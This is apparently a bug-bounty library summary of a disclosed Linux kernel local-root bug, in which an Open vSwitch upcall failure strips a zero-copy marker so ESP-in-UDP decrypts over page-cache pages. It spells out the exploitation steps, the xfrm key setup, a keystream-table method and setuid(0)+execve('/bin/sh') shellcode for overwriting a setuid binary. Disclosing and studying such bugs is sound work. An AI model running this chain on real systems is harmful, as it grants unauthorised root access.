# The skb that wasn't freed - the Fragnesia primitive via Open vSwitch

Open vSwitch's failed upcall calls skb_tx_error(), stripping SKBFL_SHARED_FRAG from a still-forwarded skb, letting ESP decrypt in place over page-cache pages for root LPE.

- Payout: Research
- Severity: high
- Program: Open vSwitch
- Write-up by: Doyensec
- Disclosed: 2026-09-16
- CVE: CVE-2026-90049, CVE-2026-89487, CVE-2026-80977
- Write-up quality: 10/10
- Original: https://blog.doyensec.com/2026/09/17/ovs.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2026-09-17-ovs-html
- Tags: area:cloud domain:infra impact:integrity impact:privesc kind:research platform:research sev:high tech:linux technique:chained technique:incomplete-fix technique:source-review vuln:memory-corruption vuln:misconfiguration vuln:privilege-escalation

**Target:** Linux kernel openvswitch.ko datapath + ESP-in-UDP (esp4/esp6)
**Root cause:** queue_userspace_packet() calls skb_tx_error() on upcall failure, which invokes skb_zcopy_clear() clearing SKBFL_ALL_ZEROCOPY including SKBFL_SHARED_FRAG, but do_execute_actions() ignores the error and keeps forwarding the same skb with foreign frags attached. esp_input() then sees no marker and decrypts in place over page-cache folios.
**Steps:**
1. unshare -Urn to get CAP_NET_ADMIN in a userns/netns; resolve ovs_datapath genl family to autoload openvswitch.ko
2. Create datapath, attach veth port, install flow in_port(1),ipv4 -> [USERSPACE(pid=<unbound>), OUTPUT(0)] so upcall always fails
3. Install transport-mode ESP-in-UDP SA with rfc4106(gcm(aes)) key `0x000102030405060708090a0b0c0d0e0f11223344 128` encap espinudp 4500 4500 0.0.0.0
4. Map target root-owned file PROT_READ, MAP_SHARED; sendmsg(MSG_ZEROCOPY) with iov [esp_header | file_page_frag | icv=zeros] so frag carries flags 0xb and SKBFL_DONT_ORPHAN survives skb_zerocopy
5. Upcall fails -> skb_tx_error() clears flags to 0x0, OUTPUT forwards skb to local ESP receiver; esp_input() decrypts in place before tag check, writing keystream XOR over folio
6. Precompute 256-entry IV table by sweeping `iv = 0xcccccccc || n` and AES_K(salt||iv||be32(2))[0]; per byte pick n = table[current XOR wanted], advance frag one byte per packet, cap payload at 32 bytes
7. Overwrite first 160 bytes of a setuid-root binary (e.g. /usr/bin/mount) with static ELF stub doing setuid(0)+execve('/bin/sh'); execute outside userns; evict via posix_fadvise(POSIX_FADV_DONTNEED) to restore
**How found:** Reasoned that the Fragnesia fix enumerated frag-transfer helpers but not a path that moves no frags and simply unsets the bit on a live skb; audited skb_zcopy_clear()/skb_tx_error() callers and found OVS do_execute_actions() ignores the upcall error and keeps forwarding. Confirmed with kprobe/kretprobe on skb_tx_error() showing flags 0xb -> 0x0 with nr_frags unchanged.
**Exploitation:** Unprivileged user builds OVS datapath in own netns, sends MSG_ZEROCOPY datagram whose ciphertext frag points at page-cache pages of a root-owned setuid binary. Failed upcall strips the shared-frag marker; ESP-in-UDP decrypt writes attacker-chosen keystream bytes into the folio. Byte-by-byte walk overwrites the ELF header with a static setuid(0)+execve('/bin/sh') stub; executing the setuid binary outside the namespace yields root. Page cache never dirtied, so eviction restores on-disk content.
**Escalation:** Chains userns CAP_NET_ADMIN -> OVS upcall error path -> marker strip -> ESP in-place decrypt -> page-cache write -> setuid-root binary hijack -> root shell; page cache is not namespaced so write crosses into host uid.
**Insight:** When a security invariant is enforced by a flag, audit every caller of helpers that clear flag groups wholesale (skb_zcopy_clear, skb_tx_error) for paths that continue using the object afterward; error paths that 'must free afterwards' are prime suspects when a caller ignores the return value. Also: MSG_ZEROCOPY + SKBFL_DONT_ORPHAN preserves foreign page-cache frags across kernel copies, so any in-place transform downstream is a write primitive.

## Proof of concept (copied exactly from the original report)

**ESP-in-UDP xfrm state with chosen AEAD key**

```
ip xfrm state add src 10.99.99.1 dst 10.99.99.2 proto esp spi 0x42434445 mode transport \
 aead 'rfc4106(gcm(aes))' 0x000102030405060708090a0b0c0d0e0f11223344 128 \
 encap espinudp 4500 4500 0.0.0.0
```

**Keystream byte table search over IV sweep**

```
table = array of 256 entries, empty

for n = 0 .. 0xffff:
 iv = 0xcccccccc || n # as above
 byte = AES_K(salt || iv || be32(2))[0]
 if table[byte] is empty:
 table[byte] = n
 if table is full:
 stop


This is a random search over 256 values, so a few thousand AES blocks typically fill the table, and the 16-bit sweep gives far more candidates than we need. It runs in userspace before a single packet leaves.

Building the table once means every one of the payload bytes costs a single lookup rather than its own search:

n = table[current_byte XOR wanted_byte]
```

**Static ELF payload for setuid hijack**

```
00400078 31c0 xor eax, eax {0x0}
0040007a 31ff xor edi, edi {0x0}
0040007c b069 mov al, 0x69
0040007e 0f05 syscall ; setuid
00400080 488d3d0f000000 lea rdi, [rel data_400096] {"/bin/sh"}
00400087 31f6 xor esi, esi {0x0}
00400089 6a3b push 0x3b {var_8}
0040008b 58 pop rax {var_8} {0x3b}
0040008c 99 cdq {0x3b} {0x0} {0x3b}
0040008d 0f05 syscall ; execve
0040008f 31ff xor edi, edi {0x0}
00400091 6a3c push 0x3c {var_8}
00400093 58 pop rax {var_8} {0x3c}
00400094 0f05 syscall ; exit
```

